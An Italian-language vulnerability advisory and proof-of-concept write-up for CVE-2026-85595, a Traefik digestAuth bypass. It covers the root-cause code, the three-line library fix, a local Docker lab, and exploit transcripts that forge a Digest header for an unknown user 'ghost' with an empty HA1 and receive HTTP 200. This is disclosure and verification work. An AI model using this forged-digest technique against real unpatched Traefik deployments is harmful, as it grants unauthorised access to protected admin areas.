
CVE-2026-85595 — bypass dell'autenticazione digestAuth di Traefik (username sconosciuto => HA1 vuoto). Verificato in laboratorio: bypass su v3.7.10, 401 su v3.7.11.
digestAuth di Traefik autentica utenti sconosciuti (secret vuoto)Interessato: Traefik < 2.11.55, e 3.0.0 – 3.7.10
Corretto: 2.11.55 / 3.7.11
Correzione: commit b975dcaa8c48 di containous/go-http-auth "Reject DigestAuth when user secret is empty", integrato in Traefik tramite il commit 2116686308a2 (aggiornamento di go.mod)
Avviso: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
Il middleware digest di Traefik risolve l'HA1 dell'utente tramite la propria ricerca del secret
(pkg/middlewares/auth/digest_auth.go):
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
CheckAuth di go-http-auth prende quindi quel "" come HA1 e calcola
(digest.go:191-203 prima della correzione):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets è false per Traefik (il file degli utenti contiene già HA1), quindi
HA1 rimane la stringa vuota. Ogni input per KD tranne HA1 è controllato dall'attaccante o
fornito dalla sfida 401 (nonce, opaque), e il controllo su uri accetta il
percorso della richiesta stessa. La risposta è quindi calcolabile senza alcuna password e
senza un nome utente che esista nel file degli utenti.
La correzione consiste in tre righe nella libreria:
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik stesso non ha richiesto alcuna modifica al codice — solo l'aggiornamento della dipendenza — ed è per questo che il diff per la v3.7.11 non contiene alcun hunk di digest_auth.go.
| ruolo | immagine | container | porta host |
|---|---|---|---|
| proxy vulnerabile | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| proxy corretto | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
PathPrefix(/admin) sull'entrypoint digest, middleware digestAuth
(realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). L'utente ghost usato dal PoC non è presente.poc-traefik-app (python:3.12-alpine), serve ADMIN-AREA … per /admin/*.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE scrive la trascrizione; --path, --user sovrascrivono il percorso di destinazione
e il nome utente falsificato.
traefik:v3.7.10 vulnerabile — bypass$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
Il log di accesso del proxy registra l'identità falsificata come utente autenticato
(ClientUsername è il secondo campo dopo l'IP del client):
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 corretto — digest falsificato rifiutato$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc) non è necessaria
oltre il singolo utilizzo.digestAuth su una versione
interessata, e contro 2.11.x < 2.11.55.